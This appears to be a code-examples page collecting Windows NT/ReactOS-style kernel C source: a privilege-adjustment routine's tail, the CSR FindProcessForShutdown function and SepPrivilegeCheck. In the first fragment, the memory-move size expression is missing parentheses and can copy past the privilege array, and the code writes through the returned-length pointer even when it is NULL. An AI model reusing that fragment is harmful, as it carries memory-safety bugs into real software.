                if (IsSetFlag(NewState->Privileges[modIndex].Attributes,
                              SE_PRIVILEGE_ENABLED))
                {
                    status = RtlpAppendTokenPrivileges(
                                        PreviousState,
                                        BufferLength,
                                        &pPrivileges[assignedIndex],
                                        returnedIndex++,
                                        &BufferUsed);
                    if (status == STATUS_SUCCESS)
                    {
                        SetFlag(pPrivileges[assignedIndex].Attributes,
                                SE_PRIVILEGE_ENABLED);
                        adjustedCount++;
                    }
                }

                if (IsSetFlag(NewState->Privileges[modIndex].Attributes,
                              SE_PRIVILEGE_REMOVED))
                {
                    if (assignedIndex + 1 < AccessToken->PrivilegeCount)
                    {
                        RtlMoveMemory(
                              &pPrivileges[assignedIndex],
                              &pPrivileges[assignedIndex + 1],
                              sizeof(pPrivileges[0]) * 
                              AccessToken->PrivilegeCount - assignedIndex - 1);
                    }

                    RtlZeroMemory(
                          &pPrivileges[AccessToken->PrivilegeCount - 1],
                          sizeof(pPrivileges[0]));

                    AccessToken->PrivilegeCount--;
                    adjustedCount++;
                }

                break;
            }
        }
    }

cleanup:
    if (PreviousState && (BufferUsed > BufferLength))
    {
        // There was not enough space in PreviousState buffer so roll 
        // the changes back and return STATUS_BUFFER_TOO_SMALL
        for (returnedIndex = 0;
             returnedIndex < PreviousState->PrivilegeCount;
             returnedIndex++)
        {
            for (assignedIndex = 0;
                 assignedIndex < AccessToken->PrivilegeCount;
                 assignedIndex++)
            {
                if (RtlEqualLuid(&PreviousState->Privileges[returnedIndex].Luid,
                                 &pPrivileges[assignedIndex].Luid))
                {
                    pPrivileges[assignedIndex].Attributes
                        = PreviousState->Privileges[returnedIndex].Attributes;
                }
            }
        }

        status = STATUS_BUFFER_TOO_SMALL;
    }

    UNLOCK_RWLOCK(&AccessToken->RwLock, isLocked);

    if (status == STATUS_SUCCESS &&
        !DisableAll &&
        adjustedCount < NewState->PrivilegeCount)
    {
        status = STATUS_NOT_ALL_ASSIGNED;
    }

    if (pReturnedLength &&
        (status == STATUS_SUCCESS ||
         status == STATUS_BUFFER_TOO_SMALL ||
         status == STATUS_NOT_ALL_ASSIGNED))
    {
        *pReturnedLength = BufferUsed;
    }
    else
    {
        *pReturnedLength = 0;
    }

    return status;
}
Ejemplo n.º 21
0
/*++
 * @name FindProcessForShutdown
 *
 * The FindProcessForShutdown routine returns a CSR Process which is ready
 * to be shutdown, and sets the appropriate shutdown flags for it.
 *
 * @param CallerLuid
 *        Pointer to the LUID of the CSR Process calling this routine.
 *
 * @return Pointer to a CSR Process which is ready to be shutdown.
 *
 * @remarks None.
 *
 *--*/
PCSR_PROCESS
NTAPI
FindProcessForShutdown(IN PLUID CallerLuid)
{
    PCSR_PROCESS CsrProcess, ReturnCsrProcess = NULL;
    PCSR_THREAD CsrThread;
    NTSTATUS Status;
    ULONG Level = 0;
    LUID ProcessLuid;
    LUID SystemLuid = SYSTEM_LUID;
    PLIST_ENTRY NextEntry;

    /* Set the List Pointers */
    NextEntry = CsrRootProcess->ListLink.Flink;
    while (NextEntry != &CsrRootProcess->ListLink)
    {
        /* Get the process */
        CsrProcess = CONTAINING_RECORD(NextEntry, CSR_PROCESS, ListLink);

        /* Move to the next entry */
        NextEntry = NextEntry->Flink;

        /* Skip this process if it's already been processed */
        if (CsrProcess->Flags & CsrProcessSkipShutdown) continue;

        /* Get the LUID of this process */
        Status = CsrGetProcessLuid(CsrProcess->ProcessHandle, &ProcessLuid);

        /* Check if we didn't get access to the LUID */
        if (Status == STATUS_ACCESS_DENIED)
        {
            /* Check if we have any threads */
            if (CsrProcess->ThreadCount)
            {
                /* Impersonate one of the threads and retry */
                CsrThread = CONTAINING_RECORD(CsrProcess->ThreadList.Flink,
                                              CSR_THREAD,
                                              Link);
                if (CsrImpersonateClient(CsrThread))
                {
                    Status = CsrGetProcessLuid(NULL, &ProcessLuid);
                    CsrRevertToSelf();
                }
                else
                {
                    Status = STATUS_BAD_IMPERSONATION_LEVEL;
                }
            }
        }

        if (!NT_SUCCESS(Status))
        {
            /* We didn't have access, so skip it */
            CsrProcess->Flags |= CsrProcessSkipShutdown;
            continue;
        }

        /* Check if this is the System LUID */
        if (RtlEqualLuid(&ProcessLuid, &SystemLuid))
        {
            /* Mark this process */
            CsrProcess->ShutdownFlags |= CsrShutdownSystem;
        }
        else if (!RtlEqualLuid(&ProcessLuid, CallerLuid))
        {
            /* Our LUID doesn't match with the caller's */
            CsrProcess->ShutdownFlags |= CsrShutdownOther;
        }

        /* Check if we're past the previous level */
        if ((CsrProcess->ShutdownLevel > Level) || !ReturnCsrProcess)
        {
            /* Update the level */
            Level = CsrProcess->ShutdownLevel;

            /* Set the final process */
            ReturnCsrProcess = CsrProcess;
        }
    }

    /* Check if we found a process */
    if (ReturnCsrProcess)
    {
        /* Skip this one next time */
        ReturnCsrProcess->Flags |= CsrProcessSkipShutdown;
    }

    return ReturnCsrProcess;
}
Ejemplo n.º 22
0
BOOLEAN
SepPrivilegeCheck(
    IN PTOKEN Token,
    IN OUT PLUID_AND_ATTRIBUTES RequiredPrivileges,
    IN ULONG RequiredPrivilegeCount,
    IN ULONG PrivilegeSetControl,
    IN KPROCESSOR_MODE PreviousMode
    )
/*++

Routine Description:

    Worker routine for SePrivilegeCheck

Arguments:

    Token - The user's effective token.

    RequiredPrivileges - A privilege set describing the required
        privileges.  The UsedForAccess bits will be set in any privilege
        that is actually used (usually all of them).

    RequiredPrivilegeCount - How many privileges are in the
        RequiredPrivileges set.

    PrivilegeSetControl - Describes how many privileges are required.

    PreviousMode - The previous processor mode.

Return Value:

    Returns TRUE if requested privileges are granted, FALSE otherwise.

--*/

{
    PLUID_AND_ATTRIBUTES CurrentRequiredPrivilege;
    PLUID_AND_ATTRIBUTES CurrentTokenPrivilege;

    BOOLEAN RequiredAll;

    ULONG TokenPrivilegeCount;
    ULONG MatchCount = 0;

    ULONG i;
    ULONG j;

    PAGED_CODE();

    //
    //   Take care of kernel callers first
    //

    if (PreviousMode == KernelMode) {

         return(TRUE);

    }

    TokenPrivilegeCount = Token->PrivilegeCount;

    //
    //   Save whether we require ALL of them or ANY
    //

    RequiredAll = (BOOLEAN)(PrivilegeSetControl & PRIVILEGE_SET_ALL_NECESSARY);

    SepAcquireTokenReadLock( Token );


    for ( i = 0 , CurrentRequiredPrivilege = RequiredPrivileges ;
          i < RequiredPrivilegeCount ;
          i++, CurrentRequiredPrivilege++ ) {

         for ( j = 0, CurrentTokenPrivilege = Token->Privileges;
               j < TokenPrivilegeCount ;
               j++, CurrentTokenPrivilege++ ) {

              if ((CurrentTokenPrivilege->Attributes & SE_PRIVILEGE_ENABLED) &&
                   (RtlEqualLuid(&CurrentTokenPrivilege->Luid,
                                 &CurrentRequiredPrivilege->Luid))
                 ) {

                       CurrentRequiredPrivilege->Attributes |=
                                                SE_PRIVILEGE_USED_FOR_ACCESS;
                       MatchCount++;
                       break;     // start looking for next one
              }

         }

    }

    SepReleaseTokenReadLock( Token );

    //
    //   If we wanted ANY and didn't get any, return failure.
    //

    if (!RequiredAll && (MatchCount == 0)) {

         return (FALSE);

    }

    //
    // If we wanted ALL and didn't get all, return failure.
    //

    if (RequiredAll && (MatchCount != RequiredPrivilegeCount)) {

         return(FALSE);
    }

    return(TRUE);

}